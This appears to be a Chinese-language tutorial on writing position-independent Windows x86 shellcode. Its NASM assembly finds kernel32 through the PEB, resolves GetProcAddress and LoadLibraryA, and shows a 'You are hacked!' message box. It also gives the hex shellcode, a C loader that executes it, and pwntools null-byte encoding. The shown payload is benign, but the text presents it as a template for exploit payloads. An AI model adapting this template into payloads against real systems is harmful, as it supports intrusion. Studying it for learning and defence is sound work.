0x00 背景
假设你发现了一个windows程序的漏洞,你得注入一些shellcode来执行自己想要执行的命令,但是如果目标程序没有加载某些dll,你就无法在shellcode中直接调用那些API,所以你需要在shellcode中自行加载你需要的dll,然后调用。本文使用汇编模拟了这样一个过程,并将该汇编转换成了shellcode,使用该方法就可以生成任何你想要的payload了。注:本代码仅在win7和win10下测试过。
0x01 汇编码编写及编译
首先,直接贴出汇编码。如上文所说,该汇编码的大致思路为
1. 计算出kernel32.dll
在内存中的偏移
2. 然后根据kernel32.dll
的export directory
中函数的名字来找到GetProcAddress
这个函数
3. 再使用GetProcAddress
这个函数找到LoadLibraryA
函数的地址
4. 使用LoadLibraryA
加载user32.dll
这个库
5. 再次使用GetProcAddress
加载user32.dll
库的MessageBoxA
函数
6. 最后调用MessageBoxA
函数弹出一个对话框。
BITS 32
section .text
global main
main:
push ebp
mov ebp,esp
sub esp,0x10
; Local variables:
;
; [ebp-4] Address of kernel32.dll
; [ebp-8] Address of kernel32.dll's export directory
; [ebp-12] Address of GetProcAddress
; [ebp-16] Address of LoadLibraryA
; Save registers
push ebx
push esi
push edi
call get_delta_offset ; Get the delta offset
get_delta_offset:
pop ebx
sub ebx,get_delta_offset
mov eax,[fs:0x30] ; Get the PEB address
mov eax,[eax+0xc]
mov eax,[eax+0x14]
; Get the address of kernel32.dll
mov eax,[eax]
mov eax,[eax]
mov eax,[eax+0x10]
mov [ebp-4],eax ; Save the address of kernel32.dll
add eax,[eax+0x3c] ; Get the address of PE header
mov eax,[eax+0x78] ; Get the address of export directory
add eax,[ebp-4]
mov [ebp-8],eax ; Save the address of export directory
; Parse the export table
xor esi,esi
mov edx,[eax+0x20]
add edx,[ebp-4]
; loop to find address of GetProcAddress func
loop:
push esi ; Save the index
mov ecx,len
mov esi,[edx+esi*4]
add esi,[ebp-4] ; esi now holds the address of the export name
lea edi,[str_GetProcAddress+ebx]
rep cmpsb ; Compare the string
je loop_end
pop esi ; Restore the index
inc esi
cmp esi,[eax+0x14]
jl loop
jmp exit ; Fail
loop_end:
pop esi ; esi now holds the index
mov ecx,[eax+0x1c]
add ecx,[ebp-4] ; ecx now holds the address of function addresses table
mov edx,[eax+0x24] ; edx now holds the address of ordinal table
add edx,[ebp-4]
movzx eax,word [edx+esi*2]
mov eax,[ecx+eax*4] ; eax now holds the RVA of the callee (GetProcAddress) function
add eax,[ebp-4] ; eax now holds the real address of the callee (GetProcAddress) function
mov [ebp-12], eax ; save GetProcAddress address to stack
; GetProcAddress(kernel32_addr, "LoadLibraryA")
lea edi,[str_LoadLibraryA+ebx]
push edi
mov ecx, [ebp-4]
push ecx
call eax ; Achieve LoadLibraryA func
mov [ebp-16], eax ;save LoadLibraryA address to stack
; You can modify the following process to achieve whatever you want
;LoadLibraryA("user32.dll")
lea edi,[str_User32dll+ebx]
push edi
call eax
;GetProcAddress(handle, "MessageBoxA")
lea edi,[str_MessageBoxA+ebx]
push edi
push eax
mov eax, [ebp-12]
call eax
push dword 0 ;now call MessageBoxA
lea edi,[str_caption+ebx]
push dword edi
lea edi,[str_text+ebx]
push dword edi
;push dword str_caption
;push dword str_text
push dword 0
call eax
exit:
; GetProcAddress(kernel32_addr, "ExitProcess")
lea edi,[str_ExitProcess+ebx]
push edi
mov ecx, [ebp-4]
push ecx
mov eax, [ebp-12]; Get GetProcAddress func
call eax ; Achieve ExitProcess func
push 0x00
call eax ; call ExitProcess(0)
; Restore registers, never reached
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
retn
;section .data //You can't use data section in shellcode
str_GetProcAddress db "GetProcAddress",0
len equ $-str_GetProcAddress
str_LoadLibraryA db "LoadLibraryA", 0
str_ExitProcess db "ExitProcess", 0
str_User32dll db "user32.dll", 0
str_MessageBoxA db "MessageBoxA", 0
str_caption db "Warning!", 0
str_text db "You are hacked!", 0
有一点要注意的是,我们需要自动计算出当前代码的偏移(保存在ebx
中),之后使用字符串参照等时都需要加上这个偏移。
上面这份代码参照了很多资料 -- My first assembly shellcode,security camp2016,Assembler/ForFun(x86_32)/06, 32bit Windows with NASM,アセンブリ言語でWindowsプログラミング。
主要是第一份资料,成功地获得了kernel32.dll
模块的地址和函数名的数组。
编译和链接方式可以参考最后一个资料,这里也整理出来:
nasm -fwin32 hello.asm
alink -entry main -oPE hello
正常情况下我们会需要用到windows的API,比如下面这样的汇编:
extern MessageBoxA
extern ExitProcess
global main
section .text
main:
push ebp
mov ebp, esp
push dword 0
push dword title
push dword text
push dword 0
call MessageBoxA
mov esp, ebp
pop ebp
call ExitProcess;
section .data
title: db 'Message', 0
text: db 'Hello World!', 0
这个时候我们还需要链接.lib
文件,可以使用如下语句:
ALINK.EXE -entry main -oPE beep win32.lib
其中win32.lib
文件在alink
网站上可以下载到。
0x02 生成shellcode
shellcode的生成方法更加简单,首先我们在上一步编译得到了一个hello.exe
文件,然后我们用stirling
这个binary editor打开该exe文件,找到代码的开始与结束,复制到文本编辑器中,然后在文本编辑器中把所有空格自动替换为'\x'即可。
最后我们把得到的shellcode放入我们的程序中试试能不能运行:
#include <stdio.h>
#include <Windows.h>
char shellcode[] = "\x55\x89\xE5\x83\xEC\x10\x53\x56\x57\xE8\x00\x00\x00\x00\x5B\x81\xEB\x0E\x10\x40\x00\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\x89\x45\xFC\x03\x40\x3C\x8B\x40\x78\x03\x45\xFC\x89\x45\xF8\x31\xF6\x8B\x50\x20\x03\x55\xFC\x56\xB9\x0F\x00\x00\x00\x8B\x34\xB2\x03\x75\xFC\x8D\xBB\xCD\x10\x40\x00\xF3\xA6\x74\x09\x5E\x46\x3B\x70\x14\x7C\xE3\xEB\x54\x5E\x8B\x48\x1C\x03\x4D\xFC\x8B\x50\x24\x03\x55\xFC\x0F\xB7\x04\x72\x8B\x04\x81\x03\x45\xFC\x89\x45\xF4\x8D\xBB\xDC\x10\x40\x00\x57\x8B\x4D\xFC\x51\xFF\xD0\x89\x45\xF0\x8D\xBB\xF5\x10\x40\x00\x57\xFF\xD0\x8D\xBB\x00\x11\x40\x00\x57\x50\x8B\x45\xF4\xFF\xD0\x6A\x00\x8D\xBB\x0C\x11\x40\x00\x57\x8D\xBB\x15\x11\x40\x00\x57\x6A\x00\xFF\xD0\x8D\xBB\xE9\x10\x40\x00\x57\x8B\x4D\xFC\x51\x8B\x45\xF4\xFF\xD0\x6A\x00\xFF\xD0\x5F\x5E\x5B\x89\xEC\x5D\xC3\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x57\x61\x72\x6E\x69\x6E\x67\x21\x00\x59\x6F\x75\x20\x61\x72\x65\x20\x68\x61\x63\x6B\x65\x64\x21\00";
// char shellcode[] = "\xd9\xd0\xfc\xd9\x74\x24\xf4\x5e\x83\xc6\x18\x89\xf7\xac\x93\xac\x28\xd8\xaa\x80\xeb\xac\x75\xf5\x2e\x5b\x85\x0e\x5c\x41\xc4\x47\x9b\x87\xaa\xba\x13\x66\x89\xdf\x7e\xd5\x78\x60\xf9\xf9\xe8\xe8\x28\x28\xd3\xd3\x5b\xb6\x4e\xcf\x6c\x57\x08\x16\x75\x85\xc8\x08\x7a\x7a\x88\xec\xf1\x92\xdd\x0d\x2d\x2d\xae\xae\x91\x91\x84\x0f\xc8\x08\x0e\x1a\x84\x0f\xee\x2e\xe3\xf7\xd3\x5e\xbf\xbf\x46\xd1\x59\x59\x79\x04\x2d\x6d\xc0\xd0\xaa\x33\x9b\xe0\xc6\xc2\x36\x39\xb3\xf3\xd3\x0f\x58\xe3\x96\xd6\x5f\xd7\x37\x3a\x37\x7c\x02\xfe\x65\xee\xd3\x18\x29\x21\x5d\x8e\x0b\x01\x3a\xc5\xad\xfd\x83\xa3\xbf\xc2\xe7\x3c\x98\x94\xe1\x37\xf2\xab\x45\x54\xea\xea\x61\x61\x89\x89\xb3\x3e\xf0\x24\xd1\x83\xa1\xa4\x56\xcb\xf0\xec\x8f\x1c\xd7\x92\x66\x33\x7d\x8d\x58\x98\x7e\x7e\xe9\xdc\x8f\x35\x5c\xd0\x12\x1b\x45\xa3\x6f\xb5\xe2\x1d\x68\xd8\xc3\xd7\x28\xa4\xdd\xc0\xae\x99\xbc\x10\x77\xd5\x9e\x29\x72\xba\x67\x83\x3f\x42\x05\x52\xce\xca\xf9\x84\x3a\x8a\x3b\x5f\x83\x86\x6c\xc1\x73\x6f\x9d\xac\xca\x81\xc2\xc6\x14\x86\x73\xfe\x42\x46\xaf\x30\xf7\xfa\x05\x4a\xb3\xaf\xc4\x4d\x89\xce\x9f\x93\xf3\x80\x30\xeb\xc7\xa3\x66\x76\xd8\x18\x8b\x8b\xa4\xfb\x5c\xe7\xec\x39\x2e\x2a\xa2\xf3\x7e\x7d\xba\x8a\xed\x76\xf1\x36\x46\x36\x49\xd6\xee\xa9\x2c\x21\xa3\xb3\xc7\x07\xe3\xe3\xb4\x0b\x80\x7f\xcd\x9d\xf0\x7d\xa9\x64\x68\x68\xd9\xea\x5b\x9b\xe7\xe7\x56\xad\x25\x75\xb1\x3c\x78\xbd\x9d\x91\xc4\xc3\xdd\xad\x55\xbf\xc2\xc2\x55\xe2\x7d\x38\xcd\xd9\xe3\xf4\xbc\xfc\x40\x40\x4a\xa1\x2d\xba\xed\xa8\x7e\x93\x11\x22\x3d\x7d\x29\x29\x79\xd0\x55\xbf\x60\x60\x42\x41\x37\x07\xc1\x4e\x1f\xda\x46\x2f\x18\x28\xd2\x12\x85\x85\x92\xe9\xd1\x5c\x82\xcf\xd4\xd0\x7f\xd0\xc2\x4d\x6d\xb2\x49\x3d\x5a\x59\x13\xe3\xd3\x3d\x91\x91\xa2\xa1\x0c\xdc\xaf\x0e\xfc\x5a\x88\xe3\x1b\xa4\xd2\xbe\x68\xc5\x91\x54\x6d\xb4\x51\xb6\xd7\x4b\x71\xc1\x79\xeb\x41\xb0\xdc\x3f\xe3\x24\x78\xdc\x84\xe8\x53\xc5\x08\x6d\x5e\xd1\xd2\x45\xd3\xd3\xb5\x01\xab\x1a\xd9\x3a\xe2\x46\x89\xd5\x65\xce\x4f\xb1\x23\x95\x02\x63\x15\x87\x2e\xa7\xf8\x39\x50\x50\x8b\xd0\xc7\x3f\xd4\x3d\x59\xcd\xd1\x21\x39\xab\x5d\xcc\xa5\x08\x9e\x03\x53\xc6\xa5\x18\x47\x47\x51\xc6\xf6\x69\x5f\xc4\x39\xab\x3c\x6f\xa3\xd5\xeb\x19\xca\x2e\x1c\x88\x4d\xb9\x40\x40\x55\xa2\x9c\x01\x12\x85\x6b\xde\xab\x0c\xe2\x49\xf3\x58\xab\xed\x72\xe1\xff\x77\xf0\x31\x07\x07\x7a\xd1\xf8\x59\x2a\x9c\xfb\x69\x23\x8c\xb5\x23\x30\x97\x8e\xaf\x1a\x1a\x25\x7e\xbf\x2e\x90\x05\x10\x30\x68\xc9\x75\xe7\x49\xae\xe4\x04\x52\xba\x72\xd3\x33\x96\xb1\x1c\x4d\xb2\xd8\x3c\x11\x32\xae\xae\xac\x78";
int main()
{
PDWORD orig;
printf ("%d\n", VirtualProtect(shellcode, 3000, PAGE_EXECUTE_READWRITE, &orig) );
fprintf(stdout, "Length: %d\n\n", strlen((char *)shellcode));
(*(void(*)()) shellcode)();
return 0;
}
这仅仅是一个示例程序,正常情况下如果我们在exploit的时候都需要去除NULL byte,防止shellcode被截断,所以我们再来对该shellcode进行除去NULL byte的操作,使用pwntools即可。
在python控制台中输入如下语句:
>>> import pwnlib
>>> str = pwnlib.encoders.encoder.null("\55\x89\xE5\x83\xEC\x10\x53\x56\x57\xE8\x00\x00\x00\x00\x5B\x81\xEB\x0E\x10\x40\x00\x64\xA1\x30\x00\x00\x00\x8B\x40\x0C\x8B\x40\x14\x8B\x00\x8B\x00\x8B\x40\x10\x89\x45\xFC\x03\x40\x3C\x8B\x40\x78\x03\x45\xFC\x89\x45\xF8\x31\xF6\x8B\x50\x20\x03\x55\xFC\x56\xB9\x0F\x00\x00\x00\x8B\x34\xB2\x03\x75\xFC\x8D\xBB\xCD\x10\x40\x00\xF3\xA6\x74\x09\x5E\x46\x3B\x70\x14\x7C\xE3\xEB\x54\x5E\x8B\x48\x1C\x03\x4D\xFC\x8B\x50\x24\x03\x55\xFC\x0F\xB7\x04\x72\x8B\x04\x81\x03\x45\xFC\x89\x45\xF4\x8D\xBB\xDC\x10\x40\x00\x57\x8B\x4D\xFC\x51\xFF\xD0\x89\x45\xF0\x8D\xBB\xF5\x10\x40\x00\x57\xFF\xD0\x8D\xBB\x00\x11\x40\x00\x57\x50\x8B\x45\xF4\xFF\xD0\x6A\x00\x8D\xBB\x0C\x11\x40\x00\x57\x8D\xBB\x15\x11\x40\x00\x57\x6A\x00\xFF\xD0\x8D\xBB\xE9\x10\x40\x00\x57\x8B\x4D\xFC\x51\x8B\x45\xF4\xFF\xD0\x6A\x00\xFF\xD0\x5F\x5E\x5B\x89\xEC\x5D\xC3\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x00\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x00\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73\x00\x75\x73\x65\x72\x33\x32\x2E\x64\x6C\x6C\x00\x4D\x65\x73\x73\x61\x67\x65\x42\x6F\x78\x41\x00\x57\x61\x72\x6E\x69\x6E\x67\x21\x00\x59\x6F\x75\x20\x61\x72\x65\x20\x68\x61\x63\x6B\x65\x64\x21\00")
>>> print ''.join([ '\\x%02x'% ord(c) for c in str ])
\xd9\xd0\xfc\xd9\x74\x24\xf4\x5e\x83\xc6\x18\x89\xf7\xac\x93\xac\x28\xd8\xaa\x80\xeb\xac\x75\xf5\x2e\x5b\x85\x0e\x5c\x41\xc4\x47\x9b\x87\xaa\xba\x13\x66\x89\xdf\x7e\xd5\x78\x60\xf9\xf9\xe8\xe8\x28\x28\xd3\xd3\x5b\xb6\x4e\xcf\x6c\x57\x08\x16\x75\x85\xc8\x08\x7a\x7a\x88\xec\xf1\x92\xdd\x0d\x2d\x2d\xae\xae\x91\x91\x84\x0f\xc8\x08\x0e\x1a\x84\x0f\xee\x2e\xe3\xf7\xd3\x5e\xbf\xbf\x46\xd1\x59\x59\x79\x04\x2d\x6d\xc0\xd0\xaa\x33\x9b\xe0\xc6\xc2\x36\x39\xb3\xf3\xd3\x0f\x58\xe3\x96\xd6\x5f\xd7\x37\x3a\x37\x7c\x02\xfe\x65\xee\xd3\x18\x29\x21\x5d\x8e\x0b\x01\x3a\xc5\xad\xfd\x83\xa3\xbf\xc2\xe7\x3c\x98\x94\xe1\x37\xf2\xab\x45\x54\xea\xea\x61\x61\x89\x89\xb3\x3e\xf0\x24\xd1\x83\xa1\xa4\x56\xcb\xf0\xec\x8f\x1c\xd7\x92\x66\x33\x7d\x8d\x58\x98\x7e\x7e\xe9\xdc\x8f\x35\x5c\xd0\x12\x1b\x45\xa3\x6f\xb5\xe2\x1d\x68\xd8\xc3\xd7\x28\xa4\xdd\xc0\xae\x99\xbc\x10\x77\xd5\x9e\x29\x72\xba\x67\x83\x3f\x42\x05\x52\xce\xca\xf9\x84\x3a\x8a\x3b\x5f\x83\x86\x6c\xc1\x73\x6f\x9d\xac\xca\x81\xc2\xc6\x14\x86\x73\xfe\x42\x46\xaf\x30\xf7\xfa\x05\x4a\xb3\xaf\xc4\x4d\x89\xce\x9f\x93\xf3\x80\x30\xeb\xc7\xa3\x66\x76\xd8\x18\x8b\x8b\xa4\xfb\x5c\xe7\xec\x39\x2e\x2a\xa2\xf3\x7e\x7d\xba\x8a\xed\x76\xf1\x36\x46\x36\x49\xd6\xee\xa9\x2c\x21\xa3\xb3\xc7\x07\xe3\xe3\xb4\x0b\x80\x7f\xcd\x9d\xf0\x7d\xa9\x64\x68\x68\xd9\xea\x5b\x9b\xe7\xe7\x56\xad\x25\x75\xb1\x3c\x78\xbd\x9d\x91\xc4\xc3\xdd\xad\x55\xbf\xc2\xc2\x55\xe2\x7d\x38\xcd\xd9\xe3\xf4\xbc\xfc\x40\x40\x4a\xa1\x2d\xba\xed\xa8\x7e\x93\x11\x22\x3d\x7d\x29\x29\x79\xd0\x55\xbf\x60\x60\x42\x41\x37\x07\xc1\x4e\x1f\xda\x46\x2f\x18\x28\xd2\x12\x85\x85\x92\xe9\xd1\x5c\x82\xcf\xd4\xd0\x7f\xd0\xc2\x4d\x6d\xb2\x49\x3d\x5a\x59\x13\xe3\xd3\x3d\x91\x91\xa2\xa1\x0c\xdc\xaf\x0e\xfc\x5a\x88\xe3\x1b\xa4\xd2\xbe\x68\xc5\x91\x54\x6d\xb4\x51\xb6\xd7\x4b\x71\xc1\x79\xeb\x41\xb0\xdc\x3f\xe3\x24\x78\xdc\x84\xe8\x53\xc5\x08\x6d\x5e\xd1\xd2\x45\xd3\xd3\xb5\x01\xab\x1a\xd9\x3a\xe2\x46\x89\xd5\x65\xce\x4f\xb1\x23\x95\x02\x63\x15\x87\x2e\xa7\xf8\x39\x50\x50\x8b\xd0\xc7\x3f\xd4\x3d\x59\xcd\xd1\x21\x39\xab\x5d\xcc\xa5\x08\x9e\x03\x53\xc6\xa5\x18\x47\x47\x51\xc6\xf6\x69\x5f\xc4\x39\xab\x3c\x6f\xa3\xd5\xeb\x19\xca\x2e\x1c\x88\x4d\xb9\x40\x40\x55\xa2\x9c\x01\x12\x85\x6b\xde\xab\x0c\xe2\x49\xf3\x58\xab\xed\x72\xe1\xff\x77\xf0\x31\x07\x07\x7a\xd1\xf8\x59\x2a\x9c\xfb\x69\x23\x8c\xb5\x23\x30\x97\x8e\xaf\x1a\x1a\x25\x7e\xbf\x2e\x90\x05\x10\x30\x68\xc9\x75\xe7\x49\xae\xe4\x04\x52\xba\x72\xd3\x33\x96\xb1\x1c\x4d\xb2\xd8\x3c\x11\x32\xae\xae\xac\x78
可以发现所有的NULL byte都被消除了。然后将该shellcode拷贝到我们刚刚的c语言程序中试试,仍然能成功执行。此外pwntools
还有很多encoder,我试了alphanumeric没有成功,大家可以自行尝试别的encoder。